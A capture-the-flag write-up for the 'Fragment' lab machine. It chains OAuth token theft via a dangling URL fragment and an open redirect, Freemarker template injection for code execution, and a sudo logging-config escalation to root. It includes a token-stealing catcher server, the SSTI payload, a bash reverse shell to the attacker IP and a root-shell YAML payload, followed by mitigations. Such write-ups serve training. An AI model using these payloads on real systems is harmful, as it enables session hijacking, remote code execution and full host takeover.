Target Information
- IP Address: 172.16.6.126
- Difficulty: Hard
- Tags: Web, OAuth Implicit Flow, Dangling Fragment, SSTI (Freemarker), Privilege Escalation
Hosts in scope:
fragment.hc— "FragmentSec" portal (Java / Spring)auth.fragment.hc— "NovaCorp SSO" identity provider
Attacker box: 10.0.35.83 (tun0)
The whole chain folds neatly into the challenge name: everything pivots around the URL fragment (#access_token=...) of the OAuth implicit flow.
Result: unauth → admin (OAuth token theft) → RCE as kevin (Freemarker SSTI) → root (sudo + dictConfig RCE).
Reconnaissance
Attack Surface
| Host | Endpoint | Relevant behavior |
|---|---|---|
| fragment.hc | /login | 302 → auth.fragment.hc/oauth/authorize?...redirect_uri=http://fragment.hc/oauth/callback |
| fragment.hc | /support | public, no account needed — report form; the url field is visited by a triager bot (HeadlessChrome) as a top-level navigation |
| fragment.hc | /oauth/callback | page + JS: reads location.hash → redirects to /oauth/session?access_token=… |
| fragment.hc | /oauth/session?access_token=X | validates the token server-side; on success → 302 /admin + JSESSIONID |
| fragment.hc | /admin, /links, /api | protected (302/404 when unauth) |
| auth.fragment.hc | /oauth/authorize | implicit flow (response_type=token); auto-issues a token if an SSO session already exists |
The redirect_uri rule (strict)
The host must be exactly http://fragment.hc (no port, no userinfo/backslash/case tricks). But path/query/fragment are free. This means the token can only land on fragment.hc. That is the lock the chain has to pick.
Web Enumeration
Discovery: /links and /api are real controllers (not missing routes)
A Spring path-normalization bypass (a discrepancy between the security filter and the dispatcher) reveals that /admin, /links and /api exist and crash on a null principal:
Requests / responses:
/links → 404 (filter hides it from unauth)
/links// → 500 ← reaches the controller, NPE on null principal
/links;x=1 → 500
//links → 500
/api// → 500
/admin// → 500
A 500 means the controller is running without an authenticated user. With any valid session, those controllers render the real content. robots.txt confirms the interest: Disallow: /admin/ /api/ /links/.
The bot and breaking the chicken-and-egg
The triager bot:
- is authenticated on
fragment.hc(it is the admin/triager), - visits the report
urlfield verbatim, as a top-level navigation (the SameSite=Lax session cookie rides along on a top-level GET), - runs JS (HeadlessChrome/149).
We cannot probe /links as ourselves (unauth → 404). Solution: route everything through the bot and use the catcher as the only oracle.
Infrastructure (catcher): catcher.ts (bun, port 8000), exposed at http://10.0.35.83:8000/. The root page reads location.hash and beacons the fragment to /steal; extra routes log POST bodies (for the webhooks). Reports are submitted with:
curl --data-urlencode "subject=x" --data-urlencode "url=<URL>" \
--data-urlencode "_sev=medium" http://fragment.hc/supportExploitation: OAuth Token Theft via Dangling Fragment
Step 1 — Open redirect: /links/redirect?url=
Firing a batch of discovery candidates (each url pointing at http://fragment.hc/<cand>?param=http://10.0.35.83:8000/MARKER), only one marker came back to the catcher:
Result:
GET /D-linksredir-url ← http://fragment.hc/links/redirect?url=http://10.0.35.83:8000/...
→ /links/redirect?url= is an open redirect that the authenticated bot follows off-host. This confirms in one shot that the bot is authenticated and that the redirect works.
Step 2 — Stealing the token via the dangling fragment (the heart of the challenge)
When a browser follows a 302 whose Location has no fragment of its own, it re-attaches the fragment of the original URL — including cross-origin, and it survives multiple hops.
Payload delivered to the bot through the url field:
http://auth.fragment.hc/oauth/authorize?response_type=token&client_id=fragment-portal&state=z&redirect_uri=http%3A%2F%2Ffragment.hc%2Flinks%2Fredirect%3Furl%3Dhttp%3A%2F%2F10.0.35.83%3A8000%2FWIN
Flow:
- authenticated bot →
authorizeauto-issues a token → 302 tohttp://fragment.hc/links/redirect?url=http://10.0.35.83:8000/WIN#access_token=T /links/redirect→ 302 tohttp://10.0.35.83:8000/WIN(Location with no fragment)- browser re-attaches →
http://10.0.35.83:8000/WIN#access_token=T - catcher reads
location.hash→ beacon:
Result:
>>> CAPTURED FRAGMENT: frag=access_token=5ef1e79b…0376&token_type=Bearer&expires_in=3600&state=z
Token stolen. (Opaque, non-JWT, single-use / 3600s — use it immediately.)
Step 3 — unauth → admin
Command:
curl -c jar.txt "http://fragment.hc/oauth/session?access_token=<TOKEN>"
# → 302 Location: http://fragment.hc/admin + Set-Cookie: JSESSIONID
curl -b jar.txt http://fragment.hc/admin # → 200, "Report Triage" dashboardThe session is admin. (The /admin// bypass was not even needed — the session is genuinely admin.)
Exploitation: Freemarker SSTI → RCE as kevin
Vulnerable feature
/admin/webhooks ("Integrations"): outbound webhooks with a template rendered by Freemarker 2.3.31 and an attacker-controlled targetUrl, fired on the user.profile.updated event.
Form POST /admin/webhooks: name, eventType=user.profile.updated, targetUrl, templateBody.
Payload
Classic SSTI (exfiltrate the output to the catcher via targetUrl):
<#assign ex="freemarker.template.utility.Execute"?new()>BEGIN:${ex("id")}:END
Trigger: POST /profile (displayName, department) → fires the webhook → server-side render → POSTs the rendered body to the catcher:
Result:
>>> WEBHOOK BODY (/wh-id): BEGIN:uid=1001(kevin) gid=1001(kevin) groups=1001(kevin):END
>>> WEBHOOK BODY (/wh-env): USER=kevin … AUTH_SERVER_URL=http://localhost:8080 …
RCE as kevin.
Operational gotcha:
freemarker...Executepasses the command toRuntime.exec(String), which tokenizes on whitespace. Simple commands (id,env,cat /path) work; long commands likefind /block the synchronous webhook dispatch loop (only the fast webhooks queued earlier get delivered). Keep commands fast or delete the slow webhook (POST /admin/webhooks/<id>/delete).
Reverse Shell
To preserve whitespace despite Runtime.exec tokenization, use the $@/echo trick.
Listener:
nc -lvnp 4444Payload (Freemarker template body):
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("bash -c $@|bash 0 echo bash -i >& /dev/tcp/10.0.35.83/4444 0>&1")}
Runtime.exec splits everything into argv; bash -c '$@|bash' 0 echo <cmd> reassembles the full command (with whitespace) via echo … | bash.
Result:
[+] Got reverse shell as kevinPost-Exploitation
Environment Enumeration
sudo -l
cat /usr/local/bin/fragment-monitorFindings:
kevinmay run one binary as root with NOPASSWD.- That binary launches uvicorn with
--log-configpointing at a filekevinowns.
Privilege Escalation: sudo + uvicorn --log-config dictConfig RCE
Enumeration
$ sudo -l
User kevin may run: (root) NOPASSWD: /usr/local/bin/fragment-monitor
$ cat /usr/local/bin/fragment-monitor
#!/bin/bash
exec /usr/bin/python3 -m uvicorn --host 127.0.0.1 --port 8001 \
--log-config /home/kevin/logging.yaml api:app
fragment-monitor runs as root and passes --log-config /home/kevin/logging.yaml — a file that kevin controls. uvicorn does yaml.safe_load (no insecure deserialization) and hands the dict to logging.config.dictConfig. And dictConfig instantiates every object in the filters: section via the callable key () — so a filter defined as subprocess.Popen executes as root the moment the config loads, before the app even starts.
Exploitation
/home/kevin/logging.yaml (delivered as single-line base64 — a multi-line heredoc in a raw reverse shell mangles the indentation and breaks the long args line, which is what made the first 2 attempts fail with ScannerError):
version: 1
disable_existing_loggers: false
formatters:
default:
format: '%(message)s'
filters:
pwn:
'()': subprocess.Popen
args: ['/bin/bash','-c','cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash; id > /tmp/pwn.txt 2>&1; cat /root/root.txt /root/flag.txt /root/*flag* >> /tmp/pwn.txt 2>/dev/null']
handlers:
default:
class: logging.StreamHandler
formatter: default
filters: [pwn]
root:
level: INFO
handlers: [default]echo '<base64-of-the-yaml-above>' | base64 -d > /home/kevin/logging.yaml
sudo /usr/local/bin/fragment-monitor # crashes afterward, but the payload already ranProof it ran as root: uvicorn threw TypeError: 'Popen' object is not callable while logging the startup message — that error only exists because the pwn filter (a Popen object) had already been instantiated, i.e. subprocess.Popen(args=[...]) already executed as root during dictConfig. The later crash is irrelevant.
Result:
$ /tmp/rootbash -p # persistent root shell
# cat /tmp/pwn.txt
uid=0(root) gid=0(root) groups=0(root)
<ROOT FLAG>ROOT OBTAINED!
Attack Chain Summary
1. /support (unauth) — report.url → authenticated bot
↓
2. authorize (implicit flow, token in the #fragment)
↓
3. redirect_uri = fragment.hc/links/redirect?url=catcher (open redirect)
↓
4. dangling fragment re-attached → token leaks to the catcher
↓
5. /oauth/session?access_token=T → ADMIN session
↓
6. /admin/webhooks → Freemarker SSTI → RCE as kevin
↓
7. reverse shell :4444
↓
8. sudo fragment-monitor → uvicorn --log-config
↓
9. dictConfig filters '()' subprocess.Popen → ROOT
Vulnerabilities Summary
| Vulnerability | CWE | Severity | Impact |
|---|---|---|---|
OAuth implicit flow + redirect_uri with a free path | CWE-601 | High | Token lands in a manipulable fragment on the trusted host |
Authenticated open redirect (/links/redirect?url=) without a destination allowlist | CWE-601 | High | Sends the authenticated bot off-host |
| Dangling-fragment exfiltration (302 fragment re-attachment) | CWE-200 | Critical | Leaks the OAuth token cross-origin |
| Triager bot navigating attacker input while authenticated | CWE-441 | High | Delivery vector for the whole chain |
| Spring path-normalization exposing protected controllers | CWE-22 | Medium | Information / error disclosure on protected routes |
Freemarker SSTI in webhook template + controlled targetUrl | CWE-1336 | Critical | RCE as kevin |
| sudo NOPASSWD on a binary that reads a user-controlled config | CWE-250 | Critical | dictConfig RCE → root |
Mitigation Recommendations
Application Level
- Drop the implicit flow / pin the redirect_uri fully:
- Use the Authorization Code flow with PKCE. Match the entire
redirect_uri(scheme + host + path) against a strict allowlist — not just the host.
- Use the Authorization Code flow with PKCE. Match the entire
// Reject any redirect_uri that is not an exact, pre-registered match
if (!REGISTERED_REDIRECT_URIS.contains(redirectUri)) {
throw new InvalidRedirectUriException();
}-
Allowlist redirect destinations:
/links/redirectmust only forward to a fixed set of internal paths, never to arbitrary absolute URLs.
-
Sandbox the template engine:
- Disable
freemarker.template.utility.Executeand resolve?new()through a restricted object wrapper.
- Disable
cfg.setNewBuiltinClassResolver(TemplateClassResolver.ALLOWS_NOTHING_RESOLVER);System Level
- Lock down the sudo entry:
- Do not pass a user-writable config to a root process. Ship
logging.yamlas a root-owned, non-writable file.
- Do not pass a user-writable config to a root process. Ship
chown root:root /etc/fragment/logging.yaml
chmod 644 /etc/fragment/logging.yaml
# fragment-monitor → --log-config /etc/fragment/logging.yamlTools Used
- curl - Submitting reports, replaying the stolen token, driving the OAuth flow
- Bun - Running the
catcher.tsexfiltration server (fragment beacon + webhook body logger) - netcat - Reverse shell listener
- HeadlessChrome (target-side bot) - The authenticated oracle the whole chain routes through
Proof of Concept Scripts
catcher.ts (fragment + webhook exfiltration server)
// bun run catcher.ts → listens on 0.0.0.0:8000
// Root page beacons location.hash to /steal; other routes log POST bodies.
const PAGE = `<!doctype html><script>
fetch("/steal?frag="+encodeURIComponent(location.hash.slice(1)));
</script>`;
Bun.serve({
port: 8000,
hostname: "0.0.0.0",
async fetch(req) {
const url = new URL(req.url);
if (url.pathname === "/steal") {
console.log(">>> CAPTURED FRAGMENT: frag=" + url.searchParams.get("frag"));
return new Response("ok");
}
if (req.method === "POST") {
console.log(`>>> WEBHOOK BODY (${url.pathname}): ` + (await req.text()));
return new Response("ok");
}
return new Response(PAGE, { headers: { "content-type": "text/html" } });
},
});Flags
User Flag: /home/kevin/user.txt
Root Flag: /tmp/pwn.txt (copied from /root/root.txt)
References
- The Web Application Hacker's perspective on OAuth implicit flow token leakage
- Freemarker SSTI exploitation
- Python logging.config.dictConfig RCE via custom callables
CWE References:
- CWE-601: URL Redirection to Untrusted Site (Open Redirect)
- CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine
- CWE-250: Execution with Unnecessary Privileges
- CWE-200: Exposure of Sensitive Information
Author: cbxcvl Date: 2026-06-10 Machine: Fragment (HackingClub)